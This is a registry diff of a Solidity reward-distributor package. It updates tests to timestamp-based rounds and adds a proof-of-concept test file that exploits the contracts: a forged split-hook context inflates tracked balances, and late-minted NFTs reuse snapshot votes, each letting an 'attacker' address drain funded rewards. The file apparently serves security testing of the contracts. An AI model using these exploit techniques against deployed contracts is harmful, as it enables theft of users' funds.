@bananapus/distributor-v6 0.0.3 → 0.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -75,7 +75,7 @@ contract JBTokenDistributorTest is Test {
75
75
  address terminal = makeAddr("terminal");
76
76
  uint256 projectId = 1;
77
77
 
78
- // 100 blocks per round, 4 vesting rounds.
78
+ // 100 seconds per round, 4 vesting rounds.
79
79
  uint256 constant ROUND_DURATION = 100;
80
80
  uint256 constant VESTING_ROUNDS = 4;
81
81
 
@@ -102,12 +102,14 @@ contract JBTokenDistributorTest is Test {
102
102
  return uint256(uint160(staker));
103
103
  }
104
104
 
105
- /// @notice Advance to 1 block after the start of the given round.
105
+ /// @notice Advance to 1 second after the start of the given round, and advance block number too.
106
106
  function _advanceToRound(uint256 round) internal {
107
- uint256 targetBlock = distributor.roundStartBlock(round) + 1;
108
- if (block.number < targetBlock) {
109
- vm.roll(targetBlock);
107
+ uint256 targetTimestamp = distributor.roundStartTimestamp(round) + 1;
108
+ if (block.timestamp < targetTimestamp) {
109
+ vm.warp(targetTimestamp);
110
110
  }
111
+ // Also advance block number so getPastVotes works with past blocks.
112
+ vm.roll(block.number + 1);
111
113
  }
112
114
 
113
115
  /// @notice Fund the distributor via the direct `fund` method.
@@ -133,7 +135,7 @@ contract JBTokenDistributorTest is Test {
133
135
  // Fund the distributor with 1000 reward tokens.
134
136
  _fundDistributor(1000 ether);
135
137
 
136
- // Advance to round 1 (so round 0's start block is in the past for getPastVotes).
138
+ // Advance to round 1 (so snapshot block is in the past for getPastVotes).
137
139
  _advanceToRound(1);
138
140
 
139
141
  // Begin vesting for alice and bob.
@@ -332,17 +334,16 @@ contract JBTokenDistributorTest is Test {
332
334
  distributor.collectVestedRewards(address(votesToken), _singleTokenId(alice), tokens, alice);
333
335
  assertEq(rewardToken.balanceOf(alice), 350 ether, "Alice collected 350");
334
336
 
335
- // Fund more for round 2.
336
- _fundDistributor(500 ether);
337
+ // Advance to a new round so a fresh snapshot is taken for the new funds.
338
+ _advanceToRound(4);
337
339
 
338
- // Advance to round 2 to vest new funds.
339
- // Already in round 3, we can begin vesting for round 3 (which looks at round 3's start block).
340
- // But we need to be past round 3's start block. We're at round 3 + 1 block already.
340
+ // Fund more for the new round.
341
+ _fundDistributor(500 ether);
341
342
 
342
- // Begin vesting round 3's rewards.
343
+ // Begin vesting round 4's rewards.
343
344
  distributor.beginVesting(address(votesToken), tokenIds, tokens);
344
345
 
345
- // Advance past both vesting periods.
346
+ // Advance past both vesting periods (entry 0 releases at round 5, entry 1 at round 8).
346
347
  _advanceToRound(1 + VESTING_ROUNDS + VESTING_ROUNDS);
347
348
 
348
349
  // Collect all remaining.
@@ -413,6 +414,84 @@ contract JBTokenDistributorTest is Test {
413
414
  assertEq(collectable, 525 ether, "75% vested after 3/4 rounds");
414
415
  }
415
416
 
417
+ function test_autoVest_collectWithoutBeginVesting() public {
418
+ // Alice delegates to self.
419
+ vm.prank(alice);
420
+ votesToken.delegate(alice);
421
+
422
+ // Fund the distributor.
423
+ _fundDistributor(1000 ether);
424
+
425
+ // Advance to round 1.
426
+ _advanceToRound(1);
427
+
428
+ // Advance past full vesting WITHOUT calling beginVesting first.
429
+ _advanceToRound(1 + VESTING_ROUNDS);
430
+
431
+ // Alice calls collectVestedRewards directly — auto-vest should kick in.
432
+ IERC20[] memory tokens = new IERC20[](1);
433
+ tokens[0] = IERC20(address(rewardToken));
434
+
435
+ vm.prank(alice);
436
+ distributor.collectVestedRewards(address(votesToken), _singleTokenId(alice), tokens, alice);
437
+
438
+ // Alice should have auto-vested for the current round (1 + VESTING_ROUNDS).
439
+ // Her claimed amount depends on what round the auto-vest captures.
440
+ // The auto-vest happens at the current round, so it creates a new vesting entry for that round.
441
+ // Since it's a new vesting entry, it won't be fully vested yet (just started).
442
+ // But previous rounds' funds accumulated and the collect at the current round auto-vests them.
443
+ uint256 aliceClaimed =
444
+ distributor.claimedFor(address(votesToken), _tokenId(alice), IERC20(address(rewardToken)));
445
+ assertGt(aliceClaimed, 0, "Alice should have auto-vested something");
446
+ }
447
+
448
+ function test_poke_recordsSnapshotBlock() public {
449
+ _advanceToRound(1);
450
+
451
+ uint256 expectedBlock = block.number - 1;
452
+ distributor.poke();
453
+
454
+ assertEq(distributor.roundSnapshotBlock(1), expectedBlock, "Snapshot block should be block.number - 1");
455
+ }
456
+
457
+ function test_poke_idempotent() public {
458
+ _advanceToRound(1);
459
+
460
+ distributor.poke();
461
+ uint256 firstSnapshot = distributor.roundSnapshotBlock(1);
462
+
463
+ // Advance block but stay in same round.
464
+ vm.roll(block.number + 10);
465
+
466
+ distributor.poke();
467
+ uint256 secondSnapshot = distributor.roundSnapshotBlock(1);
468
+
469
+ assertEq(firstSnapshot, secondSnapshot, "Poke should be idempotent within a round");
470
+ }
471
+
472
+ function test_skipAlreadyVested_noRevert() public {
473
+ vm.prank(alice);
474
+ votesToken.delegate(alice);
475
+
476
+ _fundDistributor(1000 ether);
477
+ _advanceToRound(1);
478
+
479
+ uint256[] memory tokenIds = new uint256[](1);
480
+ tokenIds[0] = _tokenId(alice);
481
+ IERC20[] memory tokens = new IERC20[](1);
482
+ tokens[0] = IERC20(address(rewardToken));
483
+
484
+ // First vest.
485
+ distributor.beginVesting(address(votesToken), tokenIds, tokens);
486
+
487
+ // Second vest in same round should NOT revert (skips silently).
488
+ distributor.beginVesting(address(votesToken), tokenIds, tokens);
489
+
490
+ // Only one vesting entry should exist.
491
+ uint256 claimed = distributor.claimedFor(address(votesToken), _tokenId(alice), IERC20(address(rewardToken)));
492
+ assertEq(claimed, 700 ether, "Should have exactly one vesting entry worth 700");
493
+ }
494
+
416
495
  //*********************************************************************//
417
496
  // ----------------------------- internal ---------------------------- //
418
497
  //*********************************************************************//
@@ -0,0 +1,347 @@
1
+ // SPDX-License-Identifier: MIT
2
+ pragma solidity 0.8.28;
3
+
4
+ import {Test} from "forge-std/Test.sol";
5
+ import {stdError} from "forge-std/StdError.sol";
6
+
7
+ import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
8
+ import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
9
+ import {ERC20Votes} from "@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol";
10
+ import {EIP712} from "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
11
+ import {IERC165} from "@openzeppelin/contracts/utils/introspection/IERC165.sol";
12
+
13
+ import {IJBDirectory} from "@bananapus/core-v6/src/interfaces/IJBDirectory.sol";
14
+ import {IJBSplitHook} from "@bananapus/core-v6/src/interfaces/IJBSplitHook.sol";
15
+ import {IJBTerminal} from "@bananapus/core-v6/src/interfaces/IJBTerminal.sol";
16
+ import {JBSplit} from "@bananapus/core-v6/src/structs/JBSplit.sol";
17
+ import {JBSplitHookContext} from "@bananapus/core-v6/src/structs/JBSplitHookContext.sol";
18
+ import {JB721Tier} from "@bananapus/721-hook-v6/src/structs/JB721Tier.sol";
19
+ import {JB721TierFlags} from "@bananapus/721-hook-v6/src/structs/JB721TierFlags.sol";
20
+
21
+ import {JB721Distributor} from "../../src/JB721Distributor.sol";
22
+ import {JBTokenDistributor} from "../../src/JBTokenDistributor.sol";
23
+
24
+ contract CodexNemesisDirectory {
25
+ mapping(uint256 projectId => mapping(address terminal => bool)) public terminals;
26
+ mapping(uint256 projectId => address controller) public controllers;
27
+
28
+ function setTerminal(uint256 projectId, address terminal, bool isTerminal) external {
29
+ terminals[projectId][terminal] = isTerminal;
30
+ }
31
+
32
+ function setController(uint256 projectId, address controller) external {
33
+ controllers[projectId] = controller;
34
+ }
35
+
36
+ function isTerminalOf(uint256 projectId, IJBTerminal terminal) external view returns (bool) {
37
+ return terminals[projectId][address(terminal)];
38
+ }
39
+
40
+ function controllerOf(uint256 projectId) external view returns (IERC165) {
41
+ return IERC165(controllers[projectId]);
42
+ }
43
+ }
44
+
45
+ contract CodexNemesisRewardToken is ERC20 {
46
+ constructor() ERC20("Reward", "RWD") {}
47
+
48
+ function mint(address to, uint256 amount) external {
49
+ _mint(to, amount);
50
+ }
51
+ }
52
+
53
+ contract CodexNemesisVotesToken is ERC20, ERC20Votes {
54
+ constructor() ERC20("Votes", "VOTE") EIP712("Votes", "1") {}
55
+
56
+ function mint(address to, uint256 amount) external {
57
+ _mint(to, amount);
58
+ }
59
+
60
+ function _update(address from, address to, uint256 value) internal override(ERC20, ERC20Votes) {
61
+ super._update(from, to, value);
62
+ }
63
+ }
64
+
65
+ contract CodexNemesisStore {
66
+ uint256 public maxTier;
67
+ mapping(uint256 tierId => JB721Tier) public tiers;
68
+ mapping(uint256 tokenId => uint256 tierId) public tokenTiers;
69
+
70
+ function setMaxTierIdOf(uint256 maxTierId) external {
71
+ maxTier = maxTierId;
72
+ }
73
+
74
+ function setTier(uint256 tierId, JB721Tier memory tier) external {
75
+ tiers[tierId] = tier;
76
+ }
77
+
78
+ function setTokenTier(uint256 tokenId, uint256 tierId) external {
79
+ tokenTiers[tokenId] = tierId;
80
+ }
81
+
82
+ function tierOfTokenId(address, uint256 tokenId, bool) external view returns (JB721Tier memory) {
83
+ return tiers[tokenTiers[tokenId]];
84
+ }
85
+ }
86
+
87
+ contract CodexNemesisCheckpoints {
88
+ uint256 public totalSupplyAtSnapshot;
89
+ mapping(address account => uint256 votes) public votesAtSnapshot;
90
+
91
+ function setTotalSupply(uint256 totalSupply) external {
92
+ totalSupplyAtSnapshot = totalSupply;
93
+ }
94
+
95
+ function setVotes(address account, uint256 votes) external {
96
+ votesAtSnapshot[account] = votes;
97
+ }
98
+
99
+ function getPastTotalSupply(uint256) external view returns (uint256) {
100
+ return totalSupplyAtSnapshot;
101
+ }
102
+
103
+ function getPastVotes(address account, uint256) external view returns (uint256) {
104
+ return votesAtSnapshot[account];
105
+ }
106
+ }
107
+
108
+ contract CodexNemesisHook {
109
+ CodexNemesisStore public immutable STORE;
110
+ CodexNemesisCheckpoints public immutable CHECKPOINTS;
111
+
112
+ mapping(uint256 tokenId => address owner) public owners;
113
+
114
+ constructor(CodexNemesisStore store, CodexNemesisCheckpoints checkpoints) {
115
+ STORE = store;
116
+ CHECKPOINTS = checkpoints;
117
+ }
118
+
119
+ function ownerOf(uint256 tokenId) external view returns (address) {
120
+ address owner = owners[tokenId];
121
+ require(owner != address(0), "NO_OWNER");
122
+ return owner;
123
+ }
124
+
125
+ function setOwner(uint256 tokenId, address owner) external {
126
+ owners[tokenId] = owner;
127
+ }
128
+ }
129
+
130
+ contract CodexNemesisAccountingPoCTest is Test {
131
+ uint256 internal constant PROJECT_ID = 1;
132
+ uint256 internal constant ROUND_DURATION = 100;
133
+ uint256 internal constant VESTING_ROUNDS = 4;
134
+
135
+ address internal attacker = makeAddr("attacker");
136
+ address internal honest = makeAddr("honest");
137
+ address internal maliciousController = makeAddr("maliciousController");
138
+
139
+ CodexNemesisDirectory internal directory;
140
+ CodexNemesisRewardToken internal rewardToken;
141
+
142
+ function setUp() public {
143
+ directory = new CodexNemesisDirectory();
144
+ rewardToken = new CodexNemesisRewardToken();
145
+ directory.setController(PROJECT_ID, maliciousController);
146
+ }
147
+
148
+ function test_controllerCanCreditUndeliveredTokensAndDrainRealInventory() public {
149
+ JBTokenDistributor distributor =
150
+ new JBTokenDistributor(IJBDirectory(address(directory)), ROUND_DURATION, VESTING_ROUNDS);
151
+ CodexNemesisVotesToken votesToken = new CodexNemesisVotesToken();
152
+
153
+ votesToken.mint(attacker, 10 ether);
154
+ votesToken.mint(honest, 990 ether);
155
+
156
+ vm.prank(attacker);
157
+ votesToken.delegate(attacker);
158
+ vm.prank(honest);
159
+ votesToken.delegate(honest);
160
+ vm.roll(block.number + 1);
161
+
162
+ rewardToken.mint(address(this), 1000 ether);
163
+ rewardToken.approve(address(distributor), 1000 ether);
164
+ distributor.fund(address(votesToken), IERC20(address(rewardToken)), 1000 ether);
165
+
166
+ JBSplit memory split = JBSplit({
167
+ percent: 1_000_000_000,
168
+ projectId: 0,
169
+ beneficiary: payable(address(votesToken)),
170
+ preferAddToBalance: false,
171
+ lockedUntil: 0,
172
+ hook: IJBSplitHook(address(distributor))
173
+ });
174
+ JBSplitHookContext memory fakeContext = JBSplitHookContext({
175
+ token: address(rewardToken),
176
+ amount: 99_000 ether,
177
+ decimals: 18,
178
+ projectId: PROJECT_ID,
179
+ groupId: 0,
180
+ split: split
181
+ });
182
+
183
+ vm.prank(maliciousController);
184
+ distributor.processSplitWith(fakeContext);
185
+
186
+ assertEq(rewardToken.balanceOf(address(distributor)), 1000 ether, "no additional reward tokens arrived");
187
+ assertEq(
188
+ distributor.balanceOf(address(votesToken), IERC20(address(rewardToken))),
189
+ 100_000 ether,
190
+ "tracked balance was inflated by context.amount"
191
+ );
192
+
193
+ uint256[] memory tokenIds = new uint256[](1);
194
+ tokenIds[0] = uint256(uint160(attacker));
195
+ IERC20[] memory tokens = new IERC20[](1);
196
+ tokens[0] = IERC20(address(rewardToken));
197
+
198
+ distributor.beginVesting(address(votesToken), tokenIds, tokens);
199
+ assertEq(distributor.claimedFor(address(votesToken), tokenIds[0], tokens[0]), 1000 ether);
200
+
201
+ vm.warp(distributor.roundStartTimestamp(VESTING_ROUNDS) + 1);
202
+ vm.roll(block.number + 1);
203
+ vm.prank(attacker);
204
+ distributor.collectVestedRewards(address(votesToken), tokenIds, tokens, attacker);
205
+
206
+ assertEq(rewardToken.balanceOf(attacker), 1000 ether, "attacker drained the real inventory");
207
+ assertEq(rewardToken.balanceOf(address(distributor)), 0, "honest claimants are left unfunded");
208
+ }
209
+
210
+ function test_721LateMintCanUseOwnersPastVotesAndDrainRound() public {
211
+ JB721Distributor distributor =
212
+ new JB721Distributor(IJBDirectory(address(directory)), ROUND_DURATION, VESTING_ROUNDS);
213
+ CodexNemesisStore store = new CodexNemesisStore();
214
+ CodexNemesisCheckpoints checkpoints = new CodexNemesisCheckpoints();
215
+ CodexNemesisHook hook = new CodexNemesisHook(store, checkpoints);
216
+
217
+ JB721TierFlags memory flags;
218
+ store.setMaxTierIdOf(1);
219
+ store.setTier({
220
+ tierId: 1,
221
+ tier: JB721Tier({
222
+ id: 1,
223
+ price: 1 ether,
224
+ remainingSupply: 97,
225
+ initialSupply: 100,
226
+ votingUnits: 100,
227
+ reserveFrequency: 0,
228
+ reserveBeneficiary: address(0),
229
+ encodedIPFSUri: bytes32(0),
230
+ category: 0,
231
+ discountPercent: 0,
232
+ flags: flags,
233
+ splitPercent: 0,
234
+ resolvedUri: ""
235
+ })
236
+ });
237
+
238
+ store.setTokenTier(1, 1);
239
+ store.setTokenTier(2, 1);
240
+ store.setTokenTier(3, 1);
241
+ hook.setOwner(1, attacker);
242
+ hook.setOwner(2, attacker);
243
+ hook.setOwner(3, attacker);
244
+
245
+ checkpoints.setTotalSupply(100);
246
+ checkpoints.setVotes(attacker, 100);
247
+
248
+ rewardToken.mint(address(this), 1000 ether);
249
+ rewardToken.approve(address(distributor), 1000 ether);
250
+ distributor.fund(address(hook), IERC20(address(rewardToken)), 1000 ether);
251
+
252
+ IERC20[] memory tokens = new IERC20[](1);
253
+ tokens[0] = IERC20(address(rewardToken));
254
+
255
+ uint256[] memory firstLateMint = new uint256[](1);
256
+ firstLateMint[0] = 2;
257
+ distributor.beginVesting(address(hook), firstLateMint, tokens);
258
+
259
+ assertEq(distributor.claimedFor(address(hook), 2, tokens[0]), 1000 ether);
260
+ assertEq(
261
+ distributor.totalVestingAmountOf(address(hook), tokens[0]),
262
+ distributor.balanceOf(address(hook), tokens[0]),
263
+ "one post-snapshot token consumed the whole snapshot"
264
+ );
265
+
266
+ vm.warp(distributor.roundStartTimestamp(VESTING_ROUNDS) + 1);
267
+ vm.roll(block.number + 1);
268
+ vm.prank(attacker);
269
+ distributor.collectVestedRewards(address(hook), firstLateMint, tokens, attacker);
270
+
271
+ assertEq(rewardToken.balanceOf(attacker), 1000 ether, "one late-minted token drained the funded balance");
272
+ assertEq(rewardToken.balanceOf(address(distributor)), 0, "honest snapshot stake is left unfunded");
273
+ }
274
+
275
+ function test_721SnapshotVotesCanBeReusedAcrossSeparateLateMintClaims() public {
276
+ JB721Distributor distributor =
277
+ new JB721Distributor(IJBDirectory(address(directory)), ROUND_DURATION, VESTING_ROUNDS);
278
+ CodexNemesisStore store = new CodexNemesisStore();
279
+ CodexNemesisCheckpoints checkpoints = new CodexNemesisCheckpoints();
280
+ CodexNemesisHook hook = new CodexNemesisHook(store, checkpoints);
281
+
282
+ JB721TierFlags memory flags;
283
+ store.setMaxTierIdOf(1);
284
+ store.setTier({
285
+ tierId: 1,
286
+ tier: JB721Tier({
287
+ id: 1,
288
+ price: 1 ether,
289
+ remainingSupply: 97,
290
+ initialSupply: 100,
291
+ votingUnits: 100,
292
+ reserveFrequency: 0,
293
+ reserveBeneficiary: address(0),
294
+ encodedIPFSUri: bytes32(0),
295
+ category: 0,
296
+ discountPercent: 0,
297
+ flags: flags,
298
+ splitPercent: 0,
299
+ resolvedUri: ""
300
+ })
301
+ });
302
+
303
+ store.setTokenTier(1, 1);
304
+ store.setTokenTier(2, 1);
305
+ store.setTokenTier(3, 1);
306
+ hook.setOwner(1, attacker);
307
+ hook.setOwner(2, attacker);
308
+ hook.setOwner(3, attacker);
309
+
310
+ checkpoints.setTotalSupply(100);
311
+ checkpoints.setVotes(attacker, 100);
312
+
313
+ rewardToken.mint(address(this), 1000 ether);
314
+ rewardToken.approve(address(distributor), 1000 ether);
315
+ distributor.fund(address(hook), IERC20(address(rewardToken)), 1000 ether);
316
+
317
+ IERC20[] memory tokens = new IERC20[](1);
318
+ tokens[0] = IERC20(address(rewardToken));
319
+
320
+ uint256[] memory firstLateMint = new uint256[](1);
321
+ firstLateMint[0] = 2;
322
+ distributor.beginVesting(address(hook), firstLateMint, tokens);
323
+
324
+ uint256[] memory secondLateMint = new uint256[](1);
325
+ secondLateMint[0] = 3;
326
+ distributor.beginVesting(address(hook), secondLateMint, tokens);
327
+
328
+ assertEq(distributor.claimedFor(address(hook), 2, tokens[0]), 1000 ether);
329
+ assertEq(distributor.claimedFor(address(hook), 3, tokens[0]), 1000 ether);
330
+ assertEq(
331
+ distributor.totalVestingAmountOf(address(hook), tokens[0]),
332
+ 2000 ether,
333
+ "same 100 snapshot votes were consumed twice in separate calls"
334
+ );
335
+ assertGt(
336
+ distributor.totalVestingAmountOf(address(hook), tokens[0]),
337
+ distributor.balanceOf(address(hook), tokens[0]),
338
+ "vesting obligations exceed funded balance"
339
+ );
340
+
341
+ vm.warp(distributor.roundStartTimestamp(VESTING_ROUNDS) + 1);
342
+ vm.roll(block.number + 1);
343
+ vm.prank(attacker);
344
+ vm.expectRevert(stdError.arithmeticError);
345
+ distributor.collectVestedRewards(address(hook), firstLateMint, tokens, attacker);
346
+ }
347
+ }